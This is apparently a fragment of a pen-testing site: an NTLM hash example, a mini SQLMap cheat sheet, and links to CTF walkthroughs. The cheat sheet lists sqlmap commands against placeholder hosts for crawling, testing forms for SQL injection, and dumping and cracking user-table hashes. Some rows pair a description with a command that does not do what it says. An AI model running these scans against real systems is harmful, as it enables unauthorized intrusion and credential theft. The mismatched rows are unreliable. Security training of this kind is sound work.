NTLM Hash Example | b4b9b02e6f09a9bd760f388b67351e2b |
SQLMap Examples
A mini SQLMap cheat sheet:
COMMAND | DESCRIPTION |
---|---|
sqlmap -u http://meh.com --forms --batch --crawl=10 |
Automated sqlmap scan |
sqlmap -u TARGET -p PARAM --data=POSTDATA --cookie=COOKIE |
Targeted sqlmap scan |
sqlmap -u "http://meh.com/meh.php?id=1" |
Scan url for union + error based injection with mysql backend and use a random user agent + database dump |
sqlmap -o -u "http://meh.com/form/" --forms |
sqlmap check form for injection |
sqlmap -o -u "http://meh/vuln-form" --forms |
sqlmap dump and crack hashes for table users on database-name. |
CATEGORY | POST NAME |
---|---|
cheat-sheet |
LFI Cheat Sheet |
kali linux |
HowTo: Kali Linux Chromium Install for Web App Pen Testing |
walkthroughs |
InsomniHack CTF Teaser – Smartcat2 Writeup |
walkthroughs |
InsomniHack CTF Teaser – Smartcat1 Writeup |
walkthroughs |
FristiLeaks 1.3 Walkthrough |
walkthroughs |
SickOS 1.1 – Walkthrough |
walkthroughs |
The Wall Boot2Root Walkthrough |
walkthroughs |
/dev/random: Sleepy Walkthrough CTF |
walkthroughs |
/dev/random Pipe walkthrough |
walkthroughs |
Lord of the Root Walkthrough CTF |